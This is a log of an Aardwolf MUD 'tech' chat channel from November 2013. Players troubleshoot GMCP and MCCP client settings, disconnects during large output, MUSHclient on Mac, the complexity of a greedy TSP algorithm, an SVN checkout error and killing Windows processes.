T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: I'm not seeing it O.o
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: Not seeing what?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: does your flat client support any other.. things? channel 102? gmcp? atcp?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: comm.repop comm.tick
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: I turned off 102 and atcp since gmcp is the newest and most featureful.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: turn 102 on
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: smh wait. you have gmcp on?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: i thought you had it off..
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: Yes, gmcp is on.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: well turning 102 on should help
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: 102 didn't get merged into gmcp?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Newbie Anaristos Tech: type protocols to see what you have turned on.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: I don't know. mudlet src code has 102 saying it's for aardwolf
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: lolnaristos
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: lolnaristos
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: 102 and atcp are both listed as 'deprecated' in protocols, so I turned them off.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: okay so all under 'protocols' is off?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: ansi gmcp and mccp are on, all others are off.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: maybe you have one on, like anaristos suggests
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: try turning 102 on. and then try turning 102 and gmcp both off.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: I can see gmcp subnegotiations in my raw output, and I am receiving comm.tick and comm.repop but nothing else.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: maybe your client doesn't support it but gets the gmcp sent
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: yeah like I said earlier I think aardwolf uses 102
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ghaan Tech: You need to send GMCP message Core.Supports.Set [ "Char 1", "Comm 1", "Room 1" ]    to turn stuff on/off
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: Ah, thank you, there's the answer. I didn't know there was a command in GMCP to turn them on/off.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: it isn't all turned on by default?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: I really wish GMCP were well-documented somehwere, anywhere. The wiki page is sketchy.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Newbie Anaristos Tech: the wiki page is good enough to script gmcp, you just have to read it carefully.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ghaan Tech: I don't know how about other clients, Tinyfugue doesn't do anything, but it doens't support GMCP by default.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ghaan Tech: Also note you need it to turn on everytime you reconnect, so perhaps make it autologin trigger.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: The wiki page mentions the core.supports.set thing, but only in passing, like in the debug section. It never actually says "hey, there's this thing you need to do".
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: ah I see
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Newbie Anaristos Tech: the handshake and data acquisition is supposed to be done by your client. The client presents you with a json string with the data.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: Which is great unless you're writing a new client, in which case now I'm thinking I'll have to start grokking the source of fiendish's stuff. Was hoping to avoid that.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Newbie Anaristos Tech: if you can manipulate the telnet part of your client you can implent it yourself.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Newbie Anaristos Tech: I saw a paper on atcp2 somewhere, you might want to look for it and read it.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: how do you turn mccp off in mushclient?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Why would you want to? :S
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: cuz I don't know how else to read the infos :/
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: I think i found it.. hmm
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: it's called 'disable compression'
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: Thanks guys, got the gmcp thing working.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: anyone know why I'll disconnect after so many bytes? is it cuz the bytes all get sent at once? or tcp communication? or computer setting?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ekster Tech: busy cpu to 100% maybe?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: would that be it if I don't have this issue on another mud?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: maybe my network card/cpu gets backlogged and it's like, cut the connection
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ekster Tech: dunno, check your performance when doing actions
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: tech even so I wonder if there is something going on with the communications on the mud I don't disconnect from.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ekster Tech: i don't have any problems here, so it's probably something going on on your computer
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: you mean you don't disconnect if you board gquest, note list?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ekster Tech: indeed
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: after a while of playing I didn't disconnect either. (i had mccp on too)
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Gener Tech: are you sure that you are not just timing out?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: hmmm timing out?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: so if you note list ten times at once youu don't disconnect? :/
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Gener Tech: does it only happen while you are idle?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: no it only happens if mccp isn't compressing enough to read all of gquest or ideas board or who list at once without disconnecting me
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: I'm just not buying this it's your client/computer/isp/connection thing. I think it might have something to do with the communications
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: the cpu/networking card thing could be a part of that, perhaps.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: server sends the fin/ack first :/
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: but if I turn mccp off it still disconnects :(
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: yes, but it disconnects at a MUCH different place
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: but if I spam the same command it doesn't disconnect me :(
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: one has nothing to do with the other
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: why don't you think so?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: I hit enter too fast on who and it disconnected me.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: the issue is a buffer fuilling up because the client and connection are not processing and clearing things quickly enough...tcp sliding window
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: oh
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: i remember those..
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: it's a network thing...if you spam the same command AND that command sends stuff too quickly for your network and computer to ack, then you will get disconnected from spammed commands as well
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: it's more of the server's network than mine.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: it's more yours
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: yeah right
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: lol...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: Trust me, it has nothing to do with what the MUD is doing, disconnection on spam is all handled clientside
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: the server sends it all, regardless of whether your client reads it all or not
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: things are initially sent "blindly", with multiple things sent out before hearing "I got it" from you...but enough un-acknowledged things, and the server says "oh, you're not getting these"
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: and THAT's the issue
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: and then disconnects you?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: I assuume it disconnects youu without the acknowledgements
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In Aardwolf's case, there *is* a serious amount of DDOS DC protection on at least one of the servers between me and it. Not sure if it's the one before the transoceanic or part of Aard's cluster though, haven't connected from another country before :-)
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: and on the spamming commands, for instance I can get the 300 results from "rank 1" just fine...but if I spammed rank 1 a few times, I would get kicked because I can't respond to all of the info being streamed at that rate
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: but my computer sent all the acks right after it received each of them. so idk. and the server send a fin/ack
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: The most "fun" example of spamming people's connection offline was when imms used to use terminate on each other.... when one can't die, it results in several hundred lines of spam :P
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: people on either fast connections, or connections logically-close to the server can get much larger amounts of info before disc than vakieh because he's going through Aussie's smaller pipe
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: yes, your computer sent the acks after it received them...but it didn't receive them as quickly as they were sent out
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: I mean i trust your knowledge on all the technical stuff, but my experience says it's not just related to the network stuff
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: that's what I'm thinking.. but it doesn't exactly make sense
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: i.e. the combination of factors of your computer (how fast it is, how busy it is) and the pipe between you and the server
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: so maybe that couuld mean.. the aardwolf server/network card is super fast compared to mine..
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: unless I forget to do something or I intentionally do it to test something, I will pretty much never get disconnected because of spam from the server
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: stop...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: but why doesn't this happen on another mud? they disable disconnects from lack of acks or something?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: you can either use the scroll/pagesize command (I don't), or you can modify your commands so that they won't hit where your personal connection's limitations are...it's a "softer" limit in that it will vary depending on congestion, etc and isn't "317 lines", though, so play with it a bit
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: actually that sounds familiar. There was something like that, hmmmm
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: your connection to them might be better
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: you might be closer to their server
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: i just think it's sad and archaic really
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: gotta remember, you may have a fat pipe from Comcast or whoever, but it's the end-to-end latency that's the issue
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: it's a limitation of the telnet protocol
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: well, and TCP itself...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}SlowMoos Tech: so many theories...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: I'm pretty sure it is tcp ack disconnect thing.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: Has nothing to do with either telnet or tcp, it's a choice that lasher has done.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: which i think can be modified too.. hmmm keep alive is it?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: Insane Xantcha boggles at Ranrr.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: yeah there we go. exactly.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: Trust me, Lasher didn't code in "disconnect if they request 400 lines" into Aard
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: he has set a limit on the acks or bytes
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: that's not keepalive
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: yeah it's not
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: TCP connections do not disconnect automagically when there is congestion or buffering unless the application does it.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: ^ this
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: i think lasher should increase it a little higher.. i mean seriously i had pagesize at 70 and hit enter twice on who list and disconnected :/
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: all applications and servers are coded with the same "issue"...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: Well, either lasher or there is a nasty broken IDS or something at the hosting site.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: buffers without limitations don't last
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: i'm sure the buffer limit can be increased.....
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: besides, tcp will just retransmit a few times anyway.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: You bury your face in your hand and sigh.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: which makes the problem worse...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It isn't a buffering issue if frames are in transit, it's a latency issue
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: Aard's server-side send buffer is larger than any string you could possibly request for the mud to send you (I've written code that used it)... so it's on the receiving end.   Having connected from many locations with many clients, I can tell you the pagesize limit changes based on your conditions, not the MUD's
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: it's BECAUSE it will retransmit that they have these limits...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: is it because it will retransmit, or is it because it DOES retransmit?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: If it was on the receiving end, it would only happen with a few clients, and not with vanilla telnet.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: Abelinc kindly explained it all, but if you don't want to listen, it's not worth the time to rehash
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: xantcha: I have plenty of experience being disconnected from muds. I'm not ignoring him, though.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: abelinc: what issues does the retransmission bring up?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: congestion?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Insane Xantcha Tech: I know that it's not a limitation imposed on the server side... when I had a better connection to Aard I could receive 700-800 lines without a problem... I think my limit from here is closer to 300
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: well, mccp affects that..
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The limit could easily be applied server-side with client latency dependencies, though. So a client with higher latency would receive less before being DCed, but it would still be the serverside config doing the DCing
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: i guess that's possible..
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Which would also explain why MCCP lowers the DC rate, as it lowers the intransit data, thus not hitting that serverside limitation
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: mccp means less bytes
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: where is all the timers and alias and timers stored in the aardclient? Say i want to take this program mobile with me i want to make sure all the plugins come with and they aren't stored on my machine elsewhere
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: naud: put the entire folder onto thumb drive
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: quite a few players even play directly from Dropbox folders
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: ok good then that makes me feel better, i thought my computer created a folder somewhere on my C storing all this infor
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: information*
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: nope, aard MUSHclient package is a fully-portable setup
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: anyone good at figuring out Big-O complexity?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: that is really neat, have they decided to do a similiar package regarding Mac? 
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: it works fine on Mac
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: mushclient isn't available on mac
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: it works fine on Mac...it's developed on Mac...
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: trying to figure out complexity for a TSP greedy algorithm, starts by picking 2 cities, compares it against rest of cities for next nearest city, inserts into city list and repeats
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: the download to MushClient Aardwolf is only availble in .exe format there isn't a .dmg for this package
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: there doesn't need to be...and the download to aard MUSHclient package is a .zip
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: redryn does each city compare against already-processed cities redundantly?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: no
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: yes true it is, but if you unzip the package you get the whole mushclient folder, within is contained the exectuable file (.exe) it won't work on Mac
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: you have 2 arrays, cities are deleted from the array as it goes
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: does not compare cities already picked
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: oh its a shortest path first algorithm
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: n!
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: O(n!)
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: wait no im not awake all the way
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: O((n-1)n/2)
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: not quite right
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: i counted it excel, for 40 cities it's 10621 comparison, 80 it's 85421, 160 it's 682481
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: so increasing by factor of ~8 every every doubling of N
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: howd you count by excel
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: just add :p
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: 38*2 comparisons first time, 37*3, 36*4
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: sum all
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: looks like O(N^3/6)
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Redryn Tech: i haven't done math for 8 years, i can't remember how to solve summations :p
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: lol yeah im in the same boat
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: I'm an "application unable to start correctly (0xc0000022)"  error from a new checkout of mush
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: the same checkout works under wine -- anyone got any ideas?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: What operating system?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: win7
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: And how are you running mushclient
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: clicking on it, if that's what you are asking
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: Like are you installing it from the installer? Or the package that's on the aard site?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: no, it's a checkout from svn
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: Yeah I would go ahead and try to run the installer from the aard site if the SVN isn't working properly, usually the SVN's have a few things extra thrown in
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: it's a good idea, although I tried reverting back a few steps
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: actually a lot of steps, and nothing works
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: I would have to look at it to know for sure what's going on but most people are sketchy about that lol
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: hmmm, now, yes, that was an obvious thing to do, why didn't I think of that
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: wonder whether subversion has balked it in some way
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: Yeah I used to do alot of SVN, learned my lesson about that the hard way
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: they should have a change log and bug reports
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: for me, it's a relatively clean way to update -- although, today, I had to remove my old package and start again
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: cause of a version mismatch in my workfile
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: Ahhh
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: Nice XD
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: Running the latest and greatest from a SCM doesn't always work... but, it's a simple way to update, I agree.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: oh, sure, I'm not after the latest and greatest
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: the strange thing was that reverting didn't solve the problem 
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: also I'd had boot problems just recently, so I was wondering whether some more serious was broken
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: Good projects have a release branch you can checkout instead of checking out HEAD or master (whatever it'sc alled).
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: trunk in svn:-)
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: svn... *shudder*
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: y
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: It's not 2002 people, come over to the git side :D
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: yeah, I've been using it with one project. Very strange, cause once is seemed so familiar
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: I've used git for about 4 years now, so now csv and svn feels like using a rock to open up a tin can.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: cvs*
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: svn isn't so bad -- apparently they have fixed the repeat merge from branch thing
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: the only issue is that I've had to check out the whole repo, tags and all
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: Ask Linus what he thinks :D
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: linux has got a lot of developers -- most things don't.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: There is more to git than nice branching and merging, but sure, that's a big thing.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: the irony for me is taht svn has now become a distribution mechanisms
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: I use it work wordpress, mush (normally) and a couple of other things
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: I use git or hg for a couple of things I want the latest and greatest in, e.g. vim.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Ranrr Tech: Github is the killer feature there.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: true enough -- started using it a year or so back and it's quite nice
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: ah, back in my usual client, that feels good!
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: i am having trouble getting the plugins to work on my aard mush client, I am using PlayonMac to use mush, but my plugins are showing up?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: any help>
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: did you move them to your plugins directory and then add them in the plugins menu?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: i am having a hard time manuerving around this blasted thing, because its like a hybrid of mac and windows
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: so i don't know where would i find all the plugin information?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: in the same directory the mushclient executable is installed
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: is the plugins in a folder in the directory because there isn't anywhere that says plugins
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: nvm i found them hidden
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: yes!!!! i finally got this darn thing to work on a mac! oms!
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: that was a headache and a half
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: lol gratz
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: for all the headache it was, I bet if you had to do it again it'd be much easier, and you probably learned a thing or two in the process
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: def did learn a thing or too lol
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Definitely Defines Tech: can never argue with that, imho =p but then, I'm a hopeless nerd
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: one more thing that i need help with. I put an alias "returnbase" that puts the command in the world this " get can from 1.sat
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Naud Tech: one more thing that i need help with. I put an alias "return" that puts the command in the world this " get can from 1.sat
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Alucard Tech: how do i turn myself as admin, blah my geforce experience does work when something is installed at the other disk.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Alucard Tech: need someone to help me to get administrator settings to work on windows 7
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Alucard Tech: i will pay 10 million
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swangin Tech: What kinda settings
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Summoner Yuna Tech: I accidentally detached the little window you type in from the main window in zMUD. How do I attach it again?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Summoner Yuna Tech: Managed to fix it by resetting all windows.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Summoner Yuna Tech: Nope, still detached. >_>'
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: look for a "dock" setting
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Summoner Yuna Tech: Found it. Right-click -> Windows options -> Attach command line.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: stupid apple software update will not go away
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: end task in the task manager like 20 times
T3/r7/2013-11-13.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: kill process tree usually works for me
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: finally gone :o
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: how do you kill process tree?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: right click, select end process tree
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: awesome, i never messed with that.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: i guess that kills it and everything related to it?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: just ending a process leaves the thing that started it running, and that thing will often relaunch it
T3/r7/2013-11-13.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: nods
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: good deal, thanks redwood and abe :)
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: might come in handy for some of those nastier ones
T3/r7/2013-11-13.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: you can also check your startup services and kill the process from starting at all there
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Flak Tech: nod...msconfig
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: [**NOPK**] Redwood crosses his arms and nods slowly and sagely.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Tech: typing "m...yeah
